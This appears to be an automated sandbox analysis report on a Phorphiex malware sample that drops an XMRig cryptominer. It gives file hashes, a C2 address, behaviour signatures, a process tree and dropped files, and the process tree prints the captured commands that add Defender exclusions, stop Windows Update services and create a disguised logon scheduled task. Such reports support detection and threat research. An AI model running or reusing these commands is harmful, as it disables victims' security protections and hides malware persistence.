Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-10-2024 13:55

General

  • Target

    aca18e5b9cdb01ad9ad8c97fb6d43b6caa7759464f62007a7953b7dc8b54762e.exe

  • Size

    10KB

  • MD5

    371ceedfb40530d4cb6c1faf92f7b8f8

  • SHA1

    360b758d3001095e08c0530530563b84e8a2662a

  • SHA256

    aca18e5b9cdb01ad9ad8c97fb6d43b6caa7759464f62007a7953b7dc8b54762e

  • SHA512

    d473169b5bf7dab6e0c2d83445a7546af6c2ab097af157c301b8a9ce7da8800362d27ee87012b9c6e2cbee81fe3cf3ad575d0b1ade1f6f16fec82076830bc573

  • SSDEEP

    96:/+spJ1887Tcymmzaby8uQd9ZDoy9+tQIHWtGW0fflSNWo1JxGET832qh9C7tCE1V:GspJ18yme8D9+6mmdNvJxTT83thu1V

Malware Config

Extracted

Family

phorphiex

C2

http://185.215.113.84

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • Phorphiex family
  • Phorphiex payload 1 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 36 IoCs
  • Suspicious use of SendNotifyMessage 36 IoCs
  • Suspicious use of WriteProcessMemory 53 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3360
      • C:\Users\Admin\AppData\Local\Temp\aca18e5b9cdb01ad9ad8c97fb6d43b6caa7759464f62007a7953b7dc8b54762e.exe
        "C:\Users\Admin\AppData\Local\Temp\aca18e5b9cdb01ad9ad8c97fb6d43b6caa7759464f62007a7953b7dc8b54762e.exe"
        2⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1280
        • C:\Users\Admin\AppData\Local\Temp\14143.scr
          "C:\Users\Admin\AppData\Local\Temp\14143.scr" /S
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1976
          • C:\Windows\sysppvrdnvs.exe
            C:\Windows\sysppvrdnvs.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Checks computer location settings
            • Executes dropped EXE
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2564
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4596
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4716
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1632
              • C:\Windows\SysWOW64\sc.exe
                sc stop UsoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:4452
              • C:\Windows\SysWOW64\sc.exe
                sc stop WaaSMedicSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:4376
              • C:\Windows\SysWOW64\sc.exe
                sc stop wuauserv
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2976
              • C:\Windows\SysWOW64\sc.exe
                sc stop DoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:1004
              • C:\Windows\SysWOW64\sc.exe
                sc stop BITS /wait
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:4528
            • C:\Users\Admin\AppData\Local\Temp\1084913979.exe
              C:\Users\Admin\AppData\Local\Temp\1084913979.exe
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2248
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:4024
                • C:\Windows\system32\reg.exe
                  reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                  7⤵
                    PID:3848
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4948
                  • C:\Windows\system32\schtasks.exe
                    schtasks /delete /f /tn "Windows Upgrade Manager"
                    7⤵
                      PID:2540
                • C:\Users\Admin\AppData\Local\Temp\145555295.exe
                  C:\Users\Admin\AppData\Local\Temp\145555295.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:2244
                • C:\Users\Admin\AppData\Local\Temp\1280229686.exe
                  C:\Users\Admin\AppData\Local\Temp\1280229686.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:3996
                  • C:\Users\Admin\AppData\Local\Temp\2443923062.exe
                    C:\Users\Admin\AppData\Local\Temp\2443923062.exe
                    6⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    PID:5056
                • C:\Users\Admin\AppData\Local\Temp\1650721001.exe
                  C:\Users\Admin\AppData\Local\Temp\1650721001.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:4980
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:184
          • C:\Windows\System32\schtasks.exe
            C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
            2⤵
              PID:1736
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4976
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe
              2⤵
                PID:5044
              • C:\Windows\System32\dwm.exe
                C:\Windows\System32\dwm.exe
                2⤵
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:4876
            • C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
              "C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
              1⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:4780

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

              Filesize

              3KB

              MD5

              fee026663fcb662152188784794028ee

              SHA1

              3c02a26a9cb16648fad85c6477b68ced3cb0cb45

              SHA256

              dbd4136bc342e3e92902ec3a30d165452c82997a7ae24ac90775e42d88959e6b

              SHA512

              7b12bd5c8fc4356b9123d6586b4980cf76012663b41c0dab6f6f21567e2f4005c5bcea2cc2158d157e4f801a281f3e04bad3774cddb3122db309ccf662184bd6

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\2YUS9Q6F\1[1]

              Filesize

              108KB

              MD5

              1fcb78fb6cf9720e9d9494c42142d885

              SHA1

              fef9c2e728ab9d56ce9ed28934b3182b6f1d5379

              SHA256

              84652bb8c63ca4fd7eb7a2d6ef44029801f3057aa2961867245a3a765928dd02

              SHA512

              cdf58e463af1784aea86995b3e5d6b07701c5c4095e30ec80cc901ffd448c6f4f714c521bf8796ffa8c47538bf8bf5351e157596efaa7ab88155d63dc33f7dc3

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              18KB

              MD5

              819617143a4e133aa72416c4ee4f998a

              SHA1

              587388a96407aff8725798d088d1147b222330c8

              SHA256

              11d81671015b1a2686daa3a4680ec6c5db647c97f54514455a6205e17d5bf52f

              SHA512

              d94d4f7ed544f99eed17a91d7b815deb0ddde47a9bddc3833b3c2d03d595f9cca4e5718d9ec2c843b71a5cfe2905c06d674494b1059b09154112ef408370b610

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              1KB

              MD5

              d95b08252ed624f6d91b46523f110f29

              SHA1

              17577997bc1fb5d3fbe59be84013165534415dc3

              SHA256

              342ce7c39bf9992d31d4b61ef138b2b084c96c74736ed00bb19aae49be16ca02

              SHA512

              0c4288176d56f4ee6d8f08f568fba07ad859f50a395c39d2afd3baf55d3d29ca065a1ce305d1bd790477c35977c0ffa230543e805622f80a77bcee71b24eb257

            • C:\Users\Admin\AppData\Local\Temp\1084913979.exe

              Filesize

              8KB

              MD5

              cb8420e681f68db1bad5ed24e7b22114

              SHA1

              416fc65d538d3622f5ca71c667a11df88a927c31

              SHA256

              5850892f67f85991b31fc90f62c8b7791afeb3c08ae1877d857aa2b59471a2ea

              SHA512

              baaabcc4ad5d409267a34ed7b20e4afb4d247974bfc581d39aae945e5bf8a673a1f8eacae2e6783480c8baaeb0a80d028274a202d456f13d0af956afa0110fdf

            • C:\Users\Admin\AppData\Local\Temp\1280229686.exe

              Filesize

              10KB

              MD5

              96509ab828867d81c1693b614b22f41d

              SHA1

              c5f82005dbda43cedd86708cc5fc3635a781a67e

              SHA256

              a9de2927b0ec45cf900508fec18531c04ee9fa8a5dfe2fc82c67d9458cf4b744

              SHA512

              ff603117a06da8fb2386c1d2049a5896774e41f34d05951ecd4e7b5fc9da51a373e3fcf61af3577ff78490cf898471ce8e71eae848a12812fe98cd7e76e1a9ca

            • C:\Users\Admin\AppData\Local\Temp\14143.scr

              Filesize

              83KB

              MD5

              06560b5e92d704395bc6dae58bc7e794

              SHA1

              fbd3e4ae28620197d1f02bfc24adaf4ddacd2372

              SHA256

              9eaaadf3857e4a3e83f4f78d96ab185213b6528c8e470807f9d16035daadf33d

              SHA512

              b55b49fc1bd526c47d88fcf8a20fcaed900bfb291f2e3e1186ec196a87127ed24df71385ae04fedcc802c362c4ebf38edfc182013febf4496ddeb66ce5195ee3

            • C:\Users\Admin\AppData\Local\Temp\145555295.exe

              Filesize

              15KB

              MD5

              0c37ee292fec32dba0420e6c94224e28

              SHA1

              012cbdddaddab319a4b3ae2968b42950e929c46b

              SHA256

              981d724feebc36777e99513dc061d1f009e589f965c920797285c46d863060d1

              SHA512

              2b60b571c55d0441ba0cfc695f9db5cd12660ebec7effc7e893c3b7a1c6cb6149df487c31b8d748697e260cbc4af29331592b705ea9638f64a711c7a6164628b

            • C:\Users\Admin\AppData\Local\Temp\1650721001.exe

              Filesize

              13KB

              MD5

              5a0d146f7a911e98da8cc3c6de8acabf

              SHA1

              4ec56b14a08c897a5e9e85f5545b6c976a0be3c1

              SHA256

              bf61e77b7c49ce3346a28d8bc084c210618ea6ec5f3cfa9ae8f4aa4d64e145f1

              SHA512

              6d1526a5f467535d51b7f9b3a7af2d54512526e2523e3048082277b83b6e1a1f0d7e3c617405898f240ae84a16163bc47886d8541a016b31c51dfadf9da713e1

            • C:\Users\Admin\AppData\Local\Temp\2443923062.exe

              Filesize

              5.6MB

              MD5

              13b26b2c7048a92d6a843c1302618fad

              SHA1

              89c2dfc01ac12ef2704c7669844ec69f1700c1ca

              SHA256

              1753ad35ece25ab9a19048c70062e9170f495e313d7355ebbba59c38f5d90256

              SHA512

              d6aff89b61c9945002a6798617ad304612460a607ef1cfbdcb32f8932ca648bcee1d5f2e0321bb4c58c1f4642b1e0ececc1eb82450fdec7dff69b5389f195455

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_giaacehc.5zh.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • memory/184-99-0x000001C367A00000-0x000001C367A22000-memory.dmp

              Filesize

              136KB

            • memory/2248-72-0x00000000003F0000-0x00000000003F6000-memory.dmp

              Filesize

              24KB

            • memory/4716-31-0x000000006F680000-0x000000006F6CC000-memory.dmp

              Filesize

              304KB

            • memory/4716-27-0x00000000062A0000-0x00000000065F4000-memory.dmp

              Filesize

              3.3MB

            • memory/4716-44-0x0000000007C00000-0x0000000007C1A000-memory.dmp

              Filesize

              104KB

            • memory/4716-45-0x0000000007C50000-0x0000000007C5A000-memory.dmp

              Filesize

              40KB

            • memory/4716-46-0x0000000007E60000-0x0000000007EF6000-memory.dmp

              Filesize

              600KB

            • memory/4716-47-0x0000000007DF0000-0x0000000007E01000-memory.dmp

              Filesize

              68KB

            • memory/4716-48-0x0000000007E20000-0x0000000007E2E000-memory.dmp

              Filesize

              56KB

            • memory/4716-49-0x0000000007E30000-0x0000000007E44000-memory.dmp

              Filesize

              80KB

            • memory/4716-50-0x0000000007F20000-0x0000000007F3A000-memory.dmp

              Filesize

              104KB

            • memory/4716-51-0x0000000007F00000-0x0000000007F08000-memory.dmp

              Filesize

              32KB

            • memory/4716-42-0x0000000007AA0000-0x0000000007B43000-memory.dmp

              Filesize

              652KB

            • memory/4716-41-0x0000000007A80000-0x0000000007A9E000-memory.dmp

              Filesize

              120KB

            • memory/4716-30-0x0000000006E80000-0x0000000006EB2000-memory.dmp

              Filesize

              200KB

            • memory/4716-29-0x00000000068F0000-0x000000000693C000-memory.dmp

              Filesize

              304KB

            • memory/4716-28-0x00000000068A0000-0x00000000068BE000-memory.dmp

              Filesize

              120KB

            • memory/4716-43-0x0000000008280000-0x00000000088FA000-memory.dmp

              Filesize

              6.5MB

            • memory/4716-17-0x0000000006230000-0x0000000006296000-memory.dmp

              Filesize

              408KB

            • memory/4716-16-0x00000000061C0000-0x0000000006226000-memory.dmp

              Filesize

              408KB

            • memory/4716-15-0x0000000006020000-0x0000000006042000-memory.dmp

              Filesize

              136KB

            • memory/4716-13-0x0000000005320000-0x0000000005356000-memory.dmp

              Filesize

              216KB

            • memory/4716-14-0x0000000005990000-0x0000000005FB8000-memory.dmp

              Filesize

              6.2MB

            • memory/4780-132-0x00007FF6D17F0000-0x00007FF6D1D87000-memory.dmp

              Filesize

              5.6MB

            • memory/4876-133-0x000001EDA9AA0000-0x000001EDA9AC0000-memory.dmp

              Filesize

              128KB

            • memory/4876-135-0x00007FF788F60000-0x00007FF78974F000-memory.dmp

              Filesize

              7.9MB

            • memory/4876-138-0x00007FF788F60000-0x00007FF78974F000-memory.dmp

              Filesize

              7.9MB

            • memory/4876-140-0x00007FF788F60000-0x00007FF78974F000-memory.dmp

              Filesize

              7.9MB

            • memory/4876-142-0x00007FF788F60000-0x00007FF78974F000-memory.dmp

              Filesize

              7.9MB

            • memory/4876-144-0x00007FF788F60000-0x00007FF78974F000-memory.dmp

              Filesize

              7.9MB

            • memory/5044-134-0x00007FF6144C0000-0x00007FF6144E9000-memory.dmp

              Filesize

              164KB

            • memory/5044-137-0x00007FF6144C0000-0x00007FF6144E9000-memory.dmp

              Filesize

              164KB

            • memory/5056-114-0x00007FF63A190000-0x00007FF63A727000-memory.dmp

              Filesize

              5.6MB